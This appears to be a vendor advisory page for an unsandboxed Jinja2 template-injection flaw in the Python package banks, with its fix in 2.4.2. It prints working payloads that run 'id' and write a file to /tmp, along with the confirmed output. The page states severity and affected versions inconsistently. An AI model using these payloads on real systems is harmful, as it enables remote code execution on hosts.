GHSA-gphh-9q3h-jgpp is a high-severity (CVSS 7.5) remote code execution vulnerability in banks. O3 Security confirms whether GHSA-gphh-9q3h-jgpp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Real-World Exposure
banksReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | banks | all versions | 2.4.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for banks. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update banks to 2.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gphh-9q3h-jgpp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gphh-9q3h-jgpp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gphh-9q3h-jgpp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gphh-9q3h-jgpp in your dependencies?
O3 detects GHSA-gphh-9q3h-jgpp across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.